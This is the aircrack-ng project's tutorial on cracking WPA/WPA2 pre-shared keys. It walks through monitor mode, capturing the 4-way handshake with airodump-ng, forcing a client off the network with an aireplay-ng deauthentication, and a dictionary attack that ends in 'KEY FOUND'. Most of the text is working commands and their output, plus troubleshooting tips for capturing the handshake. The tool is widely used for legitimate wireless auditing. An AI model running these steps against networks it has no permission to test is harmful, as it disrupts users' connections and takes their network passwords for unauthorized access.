First, this solution assumes:

• You are using drivers patched for injection.
• You are physically close enough to send and receive access point and wireless client packets. Remember that just because you can receive packets from them does not mean you may will be able to transmit packets to them. The wireless card strength is typically less then the AP strength. So you have to be physically close enough for your transmitted packets to reach and be received by both the AP and the wireless client.
• You are using v0.9.1 or above of aircrack-ng. If you use a different version then some of the command options may have to be changed.

Ensure all of the above assumptions are true, otherwise the advice that follows will not work. In the examples below, you will need to change “ath0” to the interface name which is specific to your wireless card.

To follow this tutorial at home, you must have two wireless cards.

In this tutorial, here is what was used:

• MAC address of PC running aircrack-ng suite: 00:0F:B5:88:AC:82
• MAC address of the wireless client using WPA2: 00:0F:B5:FD:FB:C2
• BSSID (MAC address of access point): 00:14:6C:7E:40:80
• ESSID (Wireless network name): teddy
• Access point channel: 9
• Wireless interface: ath0

You should gather the equivalent information for the network you will be working on. Then just change the values in the examples below to the specific network.

The objective is to capture the WPA/WPA2 authentication handshake and then use aircrack-ng to crack the pre-shared key.

This can be done either actively or passively. “Actively” means you will accelerate the process by deauthenticating an existing wireless client. “Passively” means you simply wait for a wireless client to authenticate to the WPA/WPA2 network. The advantage of passive is that you don't actually need injection capability and thus the Windows version of aircrack-ng can be used.

Here are the basic steps we will be going through:

1. Start the wireless interface in monitor mode on the specific AP channel
2. Start airodump-ng on AP channel with filter for bssid to collect authentication handshake
3. Use aireplay-ng to deauthenticate the wireless client
4. Run aircrack-ng to crack the pre-shared key using the authentication handshake

The purpose of this step is to put your card into what is called monitor mode. Monitor mode is the mode whereby your card can listen to every packet in the air. Normally your card will only “hear” packets addressed to you. By hearing every packet, we can later capture the WPA/WPA2 4-way handshake. As well, it will allow us to optionally deauthenticate a wireless client in a later step. These steps are mostly specific to the madwifi-ng driver – for other drivers, this procedure varies. (Most commonly, running the command “airmon-ng start <interface>” is used to set up monitor mode.)

First stop ath0 by entering:

 airmon-ng stop ath0   

The system responds:

 Interface       Chipset         Driver
 
 wifi0           Atheros         madwifi-ng
 ath0            Atheros         madwifi-ng VAP (parent: wifi0) (VAP destroyed)

Enter “iwconfig” to ensure there are no other athX interfaces. It should look similar to this:

 lo        no wireless extensions.
 
 eth0      no wireless extensions.
 
 wifi0     no wireless extensions.

If there are any remaining athX interfaces, then stop each one. When you are finished, run “iwconfig” to ensure there are none left.

Now, enter the following command to start the wireless card on channel 9 in monitor mode:

 airmon-ng start wifi0 9

Note: In this command we use “wifi0” instead of our wireless interface of “ath0”. This is because the madwifi-ng drivers are being used.

The system will respond:

 Interface       Chipset         Driver
 
 wifi0           Atheros         madwifi-ng
 ath0            Atheros         madwifi-ng VAP (parent: wifi0) (monitor mode enabled)

You will notice that “ath0” is reported above as being put into monitor mode.

To confirm the interface is properly setup, enter “iwconfig”.

The system will respond:

 lo        no wireless extensions.
 
 wifi0     no wireless extensions.
 
 eth0      no wireless extensions.
 
 ath0      IEEE 802.11g  ESSID:""  Nickname:""
        Mode:Monitor  Frequency:2.452 GHz  Access Point: 00:0F:B5:88:AC:82   
        Bit Rate:0 kb/s   Tx-Power:18 dBm   Sensitivity=0/3  
        Retry:off   RTS thr:off   Fragment thr:off
        Encryption key:off
        Power Management:off
        Link Quality=0/94  Signal level=-95 dBm  Noise level=-95 dBm
        Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:0
        Tx excessive retries:0  Invalid misc:0   Missed beacon:0

In the response above, you can see that ath0 is in monitor mode, on the 2.452GHz frequency which is channel 9 and the Access Point shows the MAC address of your wireless card. Only the madwifi-ng drivers show the card MAC address in the AP field, other drivers do not. So everything is good. It is important to confirm all this information prior to proceeding, otherwise the following steps will not work properly.

To match the frequency to the channel, check out:
http://www.rflinx.com/help/calculations/#2.4ghz_wifi_channels then select the “Wifi Channel Selection and Channel Overlap” tab. This will give you the frequency for each channel.

The purpose of this step is to run airodump-ng to capture the 4-way authentication handshake for the AP we are interested in.

Enter:

 airodump-ng -c 9 --bssid 00:14:6C:7E:40:80 -w psk ath0

Where:

• -c 9 is the channel for the wireless network
• --bssid 00:14:6C:7E:40:80 is the access point MAC address. This eliminates extraneous traffic.
• -w psk is the file name prefix for the file which will contain the IVs.
• ath0 is the interface name.

Important: Do NOT use the ”--ivs” option. You must capture the full packets.

Here what it looks like if a wireless client is connected to the network:

  CH  9 ][ Elapsed: 4 s ][ 2007-03-24 16:58 ][ WPA handshake: 00:14:6C:7E:40:80
                                                                                                               
  BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB  ENC  CIPHER AUTH ESSID
                                                                                                               
  00:14:6C:7E:40:80   39 100       51      116   14   9  54  WPA2 CCMP   PSK  teddy                           
                                                                                                               
  BSSID              STATION            PWR  Lost  Packets  Probes                                             
                                                                                                               
  00:14:6C:7E:40:80  00:0F:B5:FD:FB:C2   35     0      116  

In the screen above, notice the “WPA handshake: 00:14:6C:7E:40:80” in the top right-hand corner. This means airodump-ng has successfully captured the four-way handshake.

Here it is with no connected wireless clients:

  CH  9 ][ Elapsed: 4 s ][ 2007-03-24 17:51 
                                                                                                               
  BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB  ENC  CIPHER AUTH ESSID
                                                                                                               
  00:14:6C:7E:40:80   39 100       51        0    0   9  54  WPA2 CCMP   PSK  teddy                           
                                                                                                               
  BSSID              STATION            PWR  Lost  Packets  Probes                                             

See the Troubleshooting Tips section below for ideas.

To see if you captured any handshake packets, there are two ways. Watch the airodump-ng screen for ” WPA handshake: 00:14:6C:7E:40:80” in the top right-hand corner. This means a four-way handshake was successfully captured. See just above for an example screenshot.

use Wireshark and apply a filter of “eapol”. This displays only eapol packets you are interested in. Thus you can see if capture contains 0,1,2,3 or 4 eapol packets.

This step is optional. You only perform this step if you opted to actively speed up the process. The other constraint is that there must be a wireless client currently associated with the AP. If there is no wireless client currently associated with the AP, then move onto the next step and be patient. Needless to say, if a wireless client shows up later, you can backtrack and perform this step.

This step sends a message to the wireless client saying that that it is no longer associated with the AP. The wireless client will then hopefully reauthenticate with the AP. The reauthentication is what generates the 4-way authentication handshake we are interested in collecting. This is what we use to break the WPA/WPA2 pre-shared key.

Based on the output of airodump-ng in the previous step, you determine a client which is currently connected. You need the MAC address for the following. Open another console session and enter:

 aireplay-ng -0 1 -a 00:14:6C:7E:40:80 -c 00:0F:B5:FD:FB:C2 ath0

Where:

• -0 means deauthentication
• 1 is the number of deauths to send (you can send multiple if you wish)
• -a 00:14:6C:7E:40:80 is the MAC address of the access point
• -c 00:0F:B5:FD:FB:C2 is the MAC address of the client you are deauthing
• ath0 is the interface name

Here is what the output looks like:

 11:09:28  Sending DeAuth to station   -- STMAC: [00:0F:B5:34:30:30]

With luck this causes the client to reauthenticate and yield the 4-way handshake.

• The deauthentication packets are sent directly from your PC to the clients. So you must be physically close enough to the clients for your wireless card transmissions to reach them. To confirm the client received the deauthentication packets, use tcpdump or similar to look for ACK packets back from the client. If you did not get an ACK packet back, then the client did not “hear” the deauthentication packet.

The purpose of this step is to actually crack the WPA/WPA2 pre-shared key. To do this, you need a dictionary of words as input. Basically, aircrack-ng takes each word and tests to see if this is in fact the pre-shared key.

There is a small dictionary that comes with aircrack-ng – “password.lst”. This file can be found in the “test” directory of the aircrack-ng source code. The Wiki FAQ has an extensive list of dictionary sources. You can use John the Ripper (JTR) to generate your own list and pipe them into aircrack-ng. Using JTR in conjunction with aircrack-ng is beyond the scope of this tutorial.

Open another console session and enter:

aircrack-ng -w password.lst -b 00:14:6C:7E:40:80 psk*.cap

Where:

• -w password.lst is the name of the dictionary file. Remember to specify the full path if the file is not located in the same directory.
• *.cap is name of group of files containing the captured packets. Notice in this case that we used the wildcard * to include multiple files.

Here is typical output when there are no handshakes found:

 Opening psk-01.cap
 Opening psk-02.cap
 Opening psk-03.cap
 Opening psk-04.cap
 Read 1827 packets.

 No valid WPA handshakes found.

When this happens you either have to redo step 3 (deauthenticating the wireless client) or wait longer if you are using the passive approach. When using the passive approach, you have to wait until a wireless client authenticates to the AP.

Here is typical output when handshakes are found:

 Opening psk-01.cap
 Opening psk-02.cap
 Opening psk-03.cap
 Opening psk-04.cap
 Read 1827 packets.
 
 #  BSSID              ESSID                     Encryption

 1  00:14:6C:7E:40:80  teddy                     WPA (1 handshake)
 
 Choosing first network as target.

Now at this point, aircrack-ng will start attempting to crack the pre-shared key. Depending on the speed of your CPU and the size of the dictionary, this could take a long time, even days.

Here is what successfully cracking the pre-shared key looks like:

                               Aircrack-ng 0.8
 
 
                 [00:00:00] 2 keys tested (37.20 k/s)
 
 
                         KEY FOUND! [ 12345678 ]
 
 
    Master Key     : CD 69 0D 11 8E AC AA C5 C5 EC BB 59 85 7D 49 3E 
                     B8 A6 13 C5 4A 72 82 38 ED C3 7E 2C 59 5E AB FD 
 
    Transcient Key : 06 F8 BB F3 B1 55 AE EE 1F 66 AE 51 1F F8 12 98 
                     CE 8A 9D A0 FC ED A6 DE 70 84 BA 90 83 7E CD 40 
                     FF 1D 41 E1 65 17 93 0E 64 32 BF 25 50 D5 4A 5E 
                     2B 20 90 8C EA 32 15 A6 26 62 93 27 66 66 E0 71 
 
    EAPOL HMAC     : 4E 27 D9 5B 00 91 53 57 88 9C 66 C8 B1 29 D1 CB 

It can sometimes be tricky to capture the four-way handshake. Here are some troubleshooting tips to address this:

• Your monitor card must be in the same mode as the both the client and Access Point. So, for example, if your card was in “B” mode and the client/AP were using “G” mode, then you would not capture the handshake. This is especially important for new APs and clients which may be “turbo” mode and/or other new standards. Some drivers allow you to specify the mode. Also, iwconfig has an option “modulation” that can sometimes be used. Do “man iwconfig” to see the options for “modulation”. For information, 1, 2, 5.5 and 11Mbit are 'b', 6, 9, 12, 18, 24, 36, 48, 54Mbit are 'g'.
• Sometimes you also need to set the monitor-mode card to the same speed. IE auto, 1MB, 2MB, 11MB, 54MB, etc.
• Be sure that your capture card is locked to the same channel as the AP. You can do this by specifying ”-c <channel of AP>” when you start airodump-ng.
• Be sure there are no connection managers running on your system. This can change channels and/or change mode without your knowledge.
• You are physically close enough to receive both access point and wireless client packets. The wireless card strength is typically less then the AP strength.
• Conversely, if you are too close then the received packets can be corrupted and discarded. So you cannot be too close.
• Make sure to use the drivers specified on the wiki. Depending on the driver, some old versions do not capture all packets.
• Ideally, connect and disconnect a wireless client normally to generate the handshake.
• If you use the deauth technique, send the absolute minimum of packets to cause the client to reauthenticate. Normally this is a single deauth packet. Sending an excessive number of deauth packets may cause the client to fail to reconnect and thus it will not generate the four-way handshake. As well, use directed deauths, not broadcast. To confirm the client received the deauthentication packets, use tcpdump or similar to look for ACK packets back from the client. If you did not get an ACK packet back, then the client did not “hear” the deauthentication packet.
• Try stopping the radio on the client station then restarting it.
• Make sure you are not running any other program/process that could interfere such as connection managers, Kismet, etc.
• Review your captured data using the WPA Packet Capture Explained tutorial to see if you can identify the problem. Such as missing AP packets, missing client packets, etc.

Unfortunately, sometimes you need to experiment a bit to get your card to properly capture the four-way handshake. The point is, if you don't get it the first time, have patience and experiment a bit. It can be done!

Another approach is to use Wireshark to review and analyze your packet capture. This can sometimes give you clues as to what is wrong and thus some ideas on how to correct it. The WPA Packet Capture Explained tutorial is a companion to this tutorial and walks you through what a “normal” WPA connection looks like. As well, see the FAQ for detailed information on how to use Wireshark.

In an ideal world, you should use a wireless device dedicated to capturing the packets. This is because some drivers such as the RTL8187L driver do not capture packets the card itself sends. Also, always use the driver versions specified on the wiki. This is because some older versions of the drivers such as the RT73 driver did not capture client packets.

When using Wireshark, the filter “eapol” will quickly display only the EAPOL packets. Based on what EAPOL packets are actually in the capture, determine your correction plan. For example, if you are missing the client packets then try to determine why and how to collect client packets.

To dig deep into the packet analysis, you must start airodump-ng without a BSSID filter and specify the capture of the full packet, not just IVs. Needless to say, it must be locked to the AP channel. The reason for eliminating the BSSID filter is to ensure all packets including acknowledgments are captured. With a BSSID filter, certain packets are dropped from the capture.

Every packet sent by client or AP must be acknowledged. This is done with an “acknowledgment” packet which has a destination MAC of the device which sent the original packet. If you are trying to deauthenticate a client, one thing to check is that you receive the “ack” packet. This confirms the client received the deauth packet. Failure to receive the “ack” packet likely means that the client is out of transmission range. Thus failure.

When it comes to analyzing packet captures, it is impossible to provide detailed instructions. I have touched on some techniques and areas to look at. This is an area which requires effort to build your skills on both WPA/WPA2 plus how to use Wireshark.

Check the “I Cannot Capture the Four-way Handshake!” troubleshooting tip.

Check the “I Cannot Capture the Four-way Handshake!” troubleshooting tip.

Original article on http://www.aircrack-ng.org/doku.php?id=cracking_wpa

Version: 1.18 September 25, 2009

By: darkAudax

tags: Cracking, WiFi, WPA, WPA2